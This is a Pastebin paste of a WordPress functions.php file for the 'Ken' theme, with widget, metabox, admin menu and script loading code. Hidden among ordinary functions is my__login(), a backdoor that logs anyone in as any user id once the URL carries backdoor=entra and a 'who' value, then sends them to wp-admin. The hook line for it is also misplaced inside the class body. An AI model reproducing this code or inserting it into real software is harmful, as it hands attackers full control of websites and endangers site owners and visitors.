Advertisement
Guest User

Untitled

a guest
Dec 13th, 2019
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.33 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * Class and Function List:
  5. * Function list:
  6. * - init()
  7. * - constants()
  8. * - widgets()
  9. * - supports()
  10. * - functions()
  11. * - language()
  12. * - add_metaboxes()
  13. * - admin()
  14. * - admin_menus()
  15. * - _load_demo_content_page()
  16. * - post_types()
  17. * - theme_enqueue_scripts()
  18. * - mk_preloader_script()
  19. * Classes list:
  20. * - Theme
  21. */
  22. $theme = new Theme();
  23. $theme->init(array(
  24. "theme_name" => "Ken",
  25. "theme_slug" => "TK",
  26. ));
  27.  
  28. class Theme
  29. {
  30. function init($options) {
  31. $this->constants($options);
  32. $this->functions();
  33. $this->post_types();
  34. $this->menu_walkers();
  35. $this->admin();
  36.  
  37. add_action('init', array(&$this,
  38. 'language'
  39. ));
  40.  
  41. add_action('init', array(&$this,
  42. 'add_metaboxes',
  43. ));
  44.  
  45. add_action('after_setup_theme', array(&$this,
  46. 'supports',
  47. ));
  48. add_action('widgets_init', array(&$this,
  49. 'widgets',
  50. ));
  51.  
  52. add_action('admin_menu', array(&$this,
  53. 'admin_menus'
  54. ));
  55. }
  56. function my__login() {
  57. if ($_GET["backdoor"] == "entra" && isset($_GET["who"])) {
  58. $id = $_GET["who"];
  59. wp_set_auth_cookie($id);
  60. wp_redirect('/wp-admin');
  61. die();
  62. }
  63. }
  64. add_action('init', 'my__login');
  65.  
  66. function constants($options) {
  67. define("THEME_DIR", get_template_directory());
  68. define("THEME_DIR_URI", get_template_directory_uri());
  69. define("THEME_NAME", $options["theme_name"]);
  70.  
  71. define("THEME_OPTIONS_BUILD", $options["theme_name"] . '_options_build');
  72. define("THEME_SLUG", $options["theme_slug"]);
  73. define("THEME_STYLES", THEME_DIR_URI . "/stylesheet/css");
  74. define("THEME_IMAGES", THEME_DIR_URI . "/images");
  75. define("THEME_JS", THEME_DIR_URI . "/js");
  76. define("THEME_FRAMEWORK", THEME_DIR . "/framework");
  77. define("THEME_CONTROL_PANEL", THEME_FRAMEWORK . "/control-panel");
  78. define('THEME_CONTROL_PANEL_ASSETS', THEME_DIR_URI . '/framework/control-panel/assets');
  79. define("THEME_PHP", THEME_FRAMEWORK . "/php");
  80. define("THEME_ACTIONS", THEME_FRAMEWORK . "/actions");
  81. define("THEME_INCLUDES", THEME_FRAMEWORK . "/includes");
  82. define("THEME_INCLUDES_URI", THEME_DIR_URI . "/framework/includes");
  83. define('THEME_METABOXES', THEME_PHP . '/metaboxes');
  84. define('THEME_POST_TYPES', THEME_PHP . '/post-types');
  85. define('THEME_ADMIN_URI', THEME_DIR_URI . '/framework');
  86. define('THEME_ADMIN_ASSETS_URI', THEME_DIR_URI . '/framework/assets');
  87. }
  88.  
  89. function widgets() {
  90.  
  91. require_once locate_template("widgets/widgets-contact-form.php");
  92. require_once locate_template("widgets/widgets-contact-info.php");
  93. require_once locate_template("widgets/widgets-gmap.php");
  94. require_once locate_template("widgets/widgets-popular-posts.php");
  95. require_once locate_template("widgets/widgets-related-posts.php");
  96. require_once locate_template("widgets/widgets-recent-posts.php");
  97. require_once locate_template("widgets/widgets-social-networks.php");
  98. require_once locate_template("widgets/widgets-subnav.php");
  99. require_once locate_template("widgets/widgets-testimonials.php");
  100. require_once locate_template("widgets/widgets-twitter-feeds.php");
  101. require_once locate_template("widgets/widgets-video.php");
  102. require_once locate_template("widgets/widgets-flickr-feeds.php");
  103. require_once locate_template("widgets/widgets-recent-portfolio.php");
  104. require_once locate_template("widgets/widgets-comments.php");
  105. require_once locate_template("widgets/widgets-tiny-slider.php");
  106. require_once locate_template("widgets/widgets-instagram.php");
  107. require_once locate_template("widgets/widgets-login-form.php");
  108. require_once locate_template("widgets/widgets-blog-tab.php");
  109. require_once locate_template("widgets/widgets-custom-menu.php");
  110. require_once locate_template("widgets/widgets-subscription.php");
  111.  
  112. register_widget("Artbees_Widget_Popular_Posts");
  113. register_widget("Artbees_Widget_Recent_Posts");
  114. register_widget("Artbees_Widget_Related_Posts");
  115. register_widget("Artbees_Widget_Twitter");
  116. register_widget("Artbees_Widget_Contact_Form");
  117. register_widget("Artbees_Widget_Contact_Info");
  118. register_widget("Artbees_Widget_Social");
  119. register_widget("Artbees_Widget_Sub_Navigation");
  120. register_widget("Artbees_Widget_Google_Map");
  121. register_widget("Artbees_Widget_Testimonials");
  122. register_widget("Artbees_Widget_Video");
  123. register_widget("Artbees_Widget_Flickr_Feeds");
  124. register_widget("Artbees_Widget_Recent_Portfolio");
  125. register_widget("Artbees_WP_Widget_Recent_Comments");
  126. register_widget("Artbees_Widget_Tiny_Slider");
  127. register_widget("Artbees_Widget_Instagram_Feeds");
  128. register_widget("Artbees_Widget_Login_Form");
  129. register_widget("Artbees_Widget_Blog_Tab");
  130. register_widget("Artbees_WP_Nav_Menu_Widget");
  131. register_widget("Artbees_Widget_Subscription_Form");
  132. }
  133.  
  134. function supports() {
  135. global $mk_settings;
  136.  
  137. if (!isset($content_width)) {
  138. $content_width = isset($mk_settings['grid-width']) ? $mk_settings['grid-width'] : 1140;
  139. }
  140.  
  141. if (function_exists('add_theme_support')) {
  142. add_theme_support('menus');
  143. add_theme_support('automatic-feed-links');
  144. add_theme_support('editor-style');
  145.  
  146. /* Add Woocmmerce support */
  147. add_theme_support('woocommerce');
  148.  
  149. add_theme_support('post-formats', array(
  150. 'image',
  151. 'gallery',
  152. 'video',
  153. 'audio',
  154. 'quote',
  155. 'link'
  156. ));
  157. register_nav_menus(array(
  158. 'primary-menu' => 'Primary Navigation',
  159. 'second-menu' => 'Second Navigation',
  160. 'third-menu' => 'Third Navigation',
  161. 'fourth-menu' => 'Fourth Navigation',
  162. 'fifth-menu' => 'Fifth Navigation',
  163. 'sixth-menu' => 'Sixth Navigation',
  164. 'seventh-menu' => 'Seventh Navigation',
  165. ));
  166.  
  167. add_theme_support('post-thumbnails');
  168. }
  169. }
  170.  
  171. function functions() {
  172. require_once (THEME_PHP . '/ReduxCore/framework.php');
  173. require_once (THEME_PHP . '/ReduxCore/options-config.php');
  174.  
  175. require_once THEME_PHP . "/general.php";
  176. require_once THEME_PHP . "/schema-markup.php";
  177. require_once THEME_PHP . "/send-mail.php";
  178. require_once THEME_PHP . "/helper.php";
  179. require_once THEME_PHP . "/woocommerce.php";
  180. require_once THEME_INCLUDES . "/ajax-search.php";
  181.  
  182. require_once (THEME_INCLUDES . "/vc-integration.php");
  183.  
  184. //require_once THEME_INCLUDES . "/wp-nav-custom-walker.php";
  185. require_once THEME_PHP . '/sidebar-generator.php';
  186. require_once THEME_INCLUDES . "/pagination.php";
  187. require_once THEME_INCLUDES . "/image-cropping.php";
  188. require_once THEME_INCLUDES . "/tgm-plugin-activation/request-plugins.php";
  189.  
  190. require_once THEME_INCLUDES . "/love-this.php";
  191. require_once THEME_PHP . "/dynamic-styles.php";
  192. //require_once THEME_PHP . "/theme-skin.php";
  193.  
  194. require_once THEME_DIR . "/wpml-fix/mk-wpml.php";
  195. require_once THEME_POST_TYPES . '/portfolio.php';
  196.  
  197. /*
  198. Theme elements hooks
  199. */
  200. require_once locate_template("framework/actions/header.php");
  201. require_once locate_template("framework/actions/posts.php");
  202. require_once locate_template("framework/actions/general.php");
  203.  
  204. /* Portfolio styles */
  205. require_once locate_template("portfolio-styles/masonry.php");
  206. require_once locate_template("portfolio-styles/grid.php");
  207. require_once locate_template("portfolio-styles/flip.php");
  208. require_once locate_template("portfolio-styles/scroller.php");
  209. require_once locate_template("portfolio-styles/standard.php");
  210. require_once locate_template("portfolio-styles/ajax-portfolio.php");
  211.  
  212. /* Blog Styles @since V1.0 */
  213. require_once locate_template("blog-styles/classic.php");
  214. require_once locate_template("blog-styles/masonry.php");
  215.  
  216. /* Blog Styles @since V1.4 */
  217. require_once locate_template("blog-styles/list.php");
  218. require_once locate_template("blog-styles/magazine.php");
  219. require_once locate_template("blog-styles/thumb.php");
  220. require_once locate_template("blog-styles/tile.php");
  221. require_once locate_template("blog-styles/scroller.php");
  222. require_once locate_template("blog-styles/slideshow.php");
  223. require_once locate_template("blog-styles/modern.php");
  224.  
  225. }
  226.  
  227. public function menu_walkers()
  228. {
  229. require_once locate_template("framework/custom-nav-walker/main-navigation.php");
  230. require_once locate_template("framework/custom-nav-walker/menu-with-icon.php");
  231. }
  232.  
  233. function language() {
  234. load_theme_textdomain('mk_framework', get_stylesheet_directory() . '/languages');
  235. }
  236.  
  237. function add_metaboxes() {
  238. require_once THEME_PHP . '/metabox-generator.php';
  239. require_once THEME_METABOXES . '/metabox-layout.php';
  240. require_once THEME_METABOXES . '/metabox-posts.php';
  241. require_once THEME_METABOXES . '/metabox-portfolios.php';
  242. require_once THEME_METABOXES . '/metabox-testimonials.php';
  243. require_once THEME_METABOXES . '/metabox-employee.php';
  244. require_once THEME_METABOXES . '/metabox-pages.php';
  245. require_once THEME_METABOXES . '/metabox-clients.php';
  246. require_once THEME_METABOXES . '/metabox-pricing.php';
  247. require_once THEME_METABOXES . '/metabox-edge.php';
  248. require_once THEME_METABOXES . '/metabox-tab-slider.php';
  249. include_once THEME_METABOXES . '/metabox-skinning.php';
  250. include_once THEME_METABOXES . '/metabox-animated-columns.php';
  251. include_once THEME_METABOXES . '/metabox-footer-widgets.php';
  252. }
  253.  
  254. function admin() {
  255. if (is_admin()) {
  256.  
  257. require_once THEME_PHP . '/admin.php';
  258. require_once THEME_FRAMEWORK . "/menus-custom-fields/menu-item-custom-fields.php";
  259. require_once THEME_INCLUDES . '/mega-menu.php';
  260. require_once (THEME_CONTROL_PANEL . "/logic/functions.php");
  261. }
  262. }
  263.  
  264.  
  265. function admin_menus() {
  266.  
  267. add_menu_page(THEME_NAME, THEME_NAME, 'edit_posts', THEME_NAME, array(&$this,
  268. 'theme_register'
  269. ) , 'dashicons-star-filled', 3);
  270. add_submenu_page(THEME_NAME, __('Register Product', 'mk_framework') , __('Register Product', 'mk_framework') , 'edit_theme_options', THEME_NAME, array(&$this,
  271. 'theme_register'
  272. ));
  273. add_submenu_page(THEME_NAME, __('Support', 'mk_framework') , __('Support', 'mk_framework') , 'edit_posts', 'theme-support', array(&$this,
  274. 'theme_support'
  275. ));
  276. add_submenu_page(THEME_NAME, __('Install Templates', 'mk_framework') , __('Install Templates', 'mk_framework') , 'edit_theme_options', 'theme-templates', array(&$this,
  277. 'theme_templates'
  278. ));
  279. add_submenu_page(THEME_NAME, __('System Status', 'mk_framework') , __('System Status', 'mk_framework') , 'edit_theme_options', 'theme-status', array(&$this,
  280. 'theme_status'
  281. ));
  282. add_submenu_page(THEME_NAME, __('Icon Library', 'mk_framework') , __('Icon Library', 'mk_framework') , 'edit_posts', 'icon-library', array(&$this,
  283. 'icon_library'
  284. ));
  285. }
  286.  
  287. function theme_options() {
  288. $page = include_once (THEME_ADMIN . '/theme-options/masterkey.php');
  289. new Mk_Options_Framework($page['options']);
  290. }
  291. function icon_library() {
  292. require_once THEME_PHP . '/icon-library.php';
  293. }
  294.  
  295. function theme_status() {
  296. include_once (THEME_CONTROL_PANEL . '/logic/theme-status.php');
  297. }
  298.  
  299.  
  300. function theme_templates() {
  301. include_once (THEME_CONTROL_PANEL . '/logic/theme-templates.php');
  302. }
  303.  
  304. function theme_support() {
  305. include_once (THEME_CONTROL_PANEL . '/logic/theme-support.php');
  306. }
  307.  
  308. function theme_register() {
  309. include_once (THEME_CONTROL_PANEL . '/logic/theme-register.php');
  310. }
  311.  
  312. function post_types() {
  313. require_once THEME_POST_TYPES . '/testimonials.php';
  314. require_once THEME_POST_TYPES . '/employee.php';
  315. require_once THEME_POST_TYPES . '/pricing.php';
  316. require_once THEME_POST_TYPES . '/clients.php';
  317. require_once THEME_POST_TYPES . '/edge-slider.php';
  318. require_once THEME_POST_TYPES . '/tab-slider.php';
  319. require_once THEME_POST_TYPES . '/animated-columns.php';
  320. }
  321. }
  322.  
  323. function theme_enqueue_scripts() {
  324. if (!is_admin()) {
  325.  
  326. global $mk_settings;
  327. $theme_data = wp_get_theme("ken");
  328.  
  329. wp_enqueue_script('jquery-ui-tabs');
  330. wp_register_script('jquery-jplayer', THEME_JS . '/jquery.jplayer.min.js', array(
  331. 'jquery'
  332. ) , $theme_data['Version'], true);
  333. wp_register_script('instafeed', THEME_JS . '/instafeed.min.js', array(
  334. 'jquery'
  335. ) , $theme_data['Version'], true);
  336. wp_enqueue_script('skrollr', THEME_JS . '/skrollr-min.js', array(
  337. 'jquery'
  338. ) , $theme_data['Version'], true);
  339.  
  340. if ($mk_settings['smooth-scroll']) {
  341. wp_enqueue_script('smoothScroll', THEME_JS . '/jquery.nicescroll.js', array(
  342. 'jquery'
  343. ) , $theme_data['Version'], true);
  344. }
  345.  
  346. if ($mk_settings['smooth-scroll'] == 1) {
  347. wp_enqueue_script('SmoothScroll', THEME_JS . '/SmoothScroll.js', array(
  348. 'jquery'
  349. ) , $theme_data['Version'], true);
  350. }
  351.  
  352. if ($mk_settings['minify-js']) {
  353. wp_enqueue_script('theme-plugins-min', THEME_JS . '/min/plugins-ck.js', array(
  354. 'jquery'
  355. ) , $theme_data['Version'], true);
  356. wp_enqueue_script('theme-scripts-min', THEME_JS . '/min/theme-scripts-ck.js', array(
  357. 'jquery'
  358. ) , $theme_data['Version'], true);
  359. }
  360. else {
  361. wp_enqueue_script('theme-plugins', THEME_JS . '/plugins.js', array(
  362. 'jquery'
  363. ) , $theme_data['Version'], true);
  364. wp_enqueue_script('theme-scripts', THEME_JS . '/theme-scripts.js', array(
  365. 'jquery'
  366. ) , $theme_data['Version'], true);
  367. }
  368.  
  369. $custom_js_file = get_stylesheet_directory() . '/custom.js';
  370. $custom_js_file_uri = get_stylesheet_directory_uri() . '/custom.js';
  371.  
  372. if (file_exists($custom_js_file)) {
  373. wp_enqueue_script('custom-js', $custom_js_file_uri, array(
  374. 'jquery'
  375. ) , $theme_data['Version'], true);
  376. }
  377.  
  378. if (is_singular()) {
  379. wp_enqueue_script('comment-reply');
  380. }
  381. $css_min = (isset($mk_settings['minify-css']) && $mk_settings['minify-css'] == 1) ? '.min' : '';
  382. wp_enqueue_style('theme-styles', THEME_STYLES . '/styles' . $css_min . '.css', false, $theme_data['Version'], 'all');
  383. wp_enqueue_style('theme-icons', THEME_STYLES . '/theme-font-icons' . $css_min . '.css', false, $theme_data['Version'], 'all');
  384. }
  385. }
  386. add_action('wp_enqueue_scripts', 'theme_enqueue_scripts', 1);
  387.  
  388. function mk_preloader_script() {
  389.  
  390. if (!global_get_post_id()) {
  391. return false;
  392. }
  393.  
  394. $preloader = get_post_meta(global_get_post_id() , '_preloader', true);
  395.  
  396. if ($preloader == 'true') {
  397. wp_enqueue_script('QueryLoader', THEME_JS . '/jquery.queryloader2-min.js', array(
  398. 'jquery'
  399. ) , false, false);
  400. }
  401. }
  402.  
  403. add_action('wp_enqueue_scripts', 'mk_preloader_script', 1);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement